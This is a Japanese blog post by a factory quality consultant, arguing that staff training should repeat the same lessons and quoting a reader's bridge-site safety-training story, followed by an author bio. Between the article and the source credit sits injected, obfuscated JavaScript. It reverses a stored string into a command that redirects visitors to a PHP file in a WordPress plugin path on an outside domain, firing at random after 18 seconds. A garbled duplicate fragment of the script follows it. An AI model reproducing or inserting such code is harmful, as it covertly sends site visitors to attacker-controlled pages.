繰り返し教育が必要なのは日本も同じ?!

繰り返し教育が必要なのは日本も同じ?!

中国工場の品質管理は、「教育に始まり教育に終わる」と言い続けています。

 

そのためには従業員教育をしっかり行うこと、教育をするためのシステム・仕組みを持つことが必要ですよとも言い続けています。

 

教育というと常に新しいことを教えないといけないとか、常に違う内容を教えないといけないと思われている方もいるかと思いますが、決してそんな必要はないとも言いました。

 

同じことを繰り返し教えていくことで構わないのです。

 

今でこそ、このように中国工場の従業員教育は同じ内容を繰り返すことでよいと考え実践しているのですが、実はわたしも中国駐在してしばらくは、違うこと、新しいことを教えなくてはいけないと思っていた1人でした。

 

前回、そんなわたしが同じ内容の繰り返しでいいと知った出来事をお話しました。

 

これに関して、読者の方から「日本でも同じ内容の教育を繰り返すことの必要性は同じ」とのコメントをいただきました。

 

現在中国調達のお仕事をされているZさんのコメントを紹介します。

Zさんありがとうございました。

 

今回の話は、思わず「そうなんですよね」と口に出しそうになりました。

私は一時期日本国内で橋梁の架設工事の現場で安全教育を担当していたことがあります。

 

その時は大手専業メーカとのJVで、相方のメーカのベテランと約二年間の工期中、毎月交互に半日掛けて安全教育でした。

半日でも教育する側、される側とも大変でした。

 

半年もすると話すことがなくなっちゃう。

その時、JV相方のベテラン大先輩に、

「すいません、もう話すことなくなっちゃって……」

と言うと、

「同じことを何度でも何度でも話せば良いんだよ、身につくまで何度でも繰り返さなくちゃ。ほんとうに身についていたら事故なんて起きないはずでしょ、それが起きるんだから……」

すでに定年を迎え嘱託で現場の安全教育をされているいぶし銀のような親方でした。

 

身に付いていないと事故につながるというのは、大変なことですね。

 

耳にたこが出来るくらい口を酸っぱくして言って、本当の危険性を理解していない作業者に「そこまで言うのだったらやるよ」と思わせることが必要なのですね。

 

中国工場の現場でも、口を酸っぱくして言って、その言葉や内容が脳裏から離れないくらいにしておきたいですね。

 

それが不良の発生や流出防止につながっていくことになります。

 

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toimprove/” target=”_blank”>出典:中国工場での品質管理・品質改善


KPIマネジメント代表・チーフコンサルタント◎電機系メーカーにて技術部門、資材部門を経て香港・中国に駐在。現地においては、購入部材の品質管理責任者として購入部材仕入先品質指導及び品質改善指導。延べ100社に及ぶ仕入先工場の品質改善指導に奔走 ◎東京都/千葉県商工会連合会専門エキスパート(品質管理、製造業指導) GCS認定コーチ◎日本生産性本部経営アカデミー講師 名古屋外国語大学非常勤講師 セミナー/企業研修講師多数◎中国工場コンサルティング実績 日系中国工場品質改善及び管理体制の見直し(広東省)、中国企業品質管理体制の構築(福建省1社)、中国企業労務人事管理監査対応指導(パートナーコンサルタントと共同で実施:広東省1社)、米国D社の労務人事監査指摘事項への対応を指導、中国工場品質管理体制の構築(広東、大連など2社)、中国工場運営管理支援(広東1社)、外観検査の精度向上指導(広東1社)、中国生産委託先工場監査代行(広東1社) 国内工場管理の見直し及び製品コストダウン、外灯製造会社の5S指導、金属加工会社の品質管理・改善、生産性向上指導(1社)、金属加工会社の組織再構築、経営改革指導(1社)、板金塗装会社の5S指導(1社)、環境関連企業の新工場立ち上げ支援(1社)◎製造業向け社員研修実績 中国人管理者教育(広東、大連、厦門など3社)、コーチング研修(2社)、来日した中国企業スタッフ研修、中国赴任前研修(パソナ様)、若手社員向け中国工場の問題点と対処法(和歌山県工業技術センター様)、中国工場品質管理講座&異文化コミュニケーション(富士通テレコムネットワークス様)、仕入先様品質管理勉強会 テーマ:中国工場での品質管理の進め方(株式会社オートバックスセブン様)、中国への生産委託に伴う工程/品質管理のポイント(N社様、I社様) ◎著書 こうすれば失敗しない!中国工場の品質改善<虎の巻>(日刊工業新聞社)、雑誌「標準化と品質管理」2012年8月号特集記事執筆(日本規格協会)、外観検査の不良見逃し・ばらつき低減(技術情報協会・共同執筆)、通信教育講座「外観目視検査の進め方と留意点」担当講師(テキスト執筆、添削指導) ◎KPIマネジメント http://www.prestoimprove.com/index.html ブログ「中国工場での品質管理・品質改善」https://ameblo.jp/prestoimprove/